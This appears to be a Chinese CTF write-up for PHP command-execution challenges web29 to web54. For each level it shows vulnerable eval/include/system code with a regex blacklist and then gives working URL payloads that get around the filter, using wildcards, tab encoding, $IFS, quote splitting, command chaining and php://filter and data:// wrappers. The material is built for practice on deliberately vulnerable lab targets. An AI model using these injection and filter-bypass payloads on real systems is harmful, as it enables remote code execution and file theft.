web29
payload：?c=system('ls');查看当前文件
?c=system('tac fla*');通过正则表达式绕过preg_match函数，查看内容
我自己是用more和cat试过，发现无法显示，后来发现在源代码中显现但被注释所以无法显示在前端，用tac可以破坏注释结构，直接显示
web30
源码：
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload：?c=echo `tac *`;
web31
更加严格的过滤方式，可以用上题payload，但要注意这题过滤了空格。所以可以用tab%09，来绕过。
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload：?c=echo%09`tac%09*`;
or：?c=passthru("tac%09*");
web32-36
基本可以通过include和php伪代码来实现绕过。
#web32的题目
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:?c=include$_POST[a]?>
request:a=php://filter/read=convert.base64-encode/resource=flag.php
or
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
## web37
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload：?c=data://text/plain,<?php system('tac fla*')?>
web38
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}
payload1:跟上题目一致，将<?php?>改成<??>。后者是php的短标签。
payload2：
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/PiA=
web39
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在原有基础上，加了.php这个后缀。上题payload仍可用。不过要注意的是，不要用短标签形式。
web40&41
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}
关于>/dev/null 2>&1详情可见此博客
基本意思是将所有内容写入一个黑洞，没有显示
可通过; ||来绕过。
payload：?c=tac fla?.php;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}
payload:?c=tac fla?.php||
or
?c=tac fla?.php%26%26ls
#&&编码后即为%26%26，反正姿势很多。。
web44
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
姿势多学
payload:?c=tac fla?.php%0a
web45
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多加了个空格，用tab，即%09绕过
?c=tac%09fla?.php||
web46
添加了0-9、$、*
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
上一题payload仍可用
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}
同上
web48、49
同上payload
web50
基本过滤了上几题的方法
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
全新姿势
?c=nl<f''lag.php||
or
?c=tac<fla\g.php||
web51
多加了tac，可用nl来绕过
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl<fla''g.php||
or
?c=ta\c<>fla\g.php||
web52
<>被过滤了，但特意留了个$
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}
在shell中，有一个好用的环境变量$IFS，用于内部字段分隔符。默认是空格符
因为此题flag不在flag.php中，所以可以先查看一下根目录下的文件
?c=ls$IFS/||ls
如图：
确定当前文件夹位置：
?c=pwd$IFS||ls
为此：/var/www/html
所以返回根目录查看
?c=ta\c$IFS../../../fla?||ls
web53
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}
payload:
?c=ta''c${IFS}fla?.php
OR
c''at${IFS}fla''g.p''hp(官方hint)
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}
payload:
?c=grep${IFS}show${IFS}fla?.php
or
?c=mv${IFSfla?.php}${IFS}a.txt
再直接查看a.txt内容
持续更新…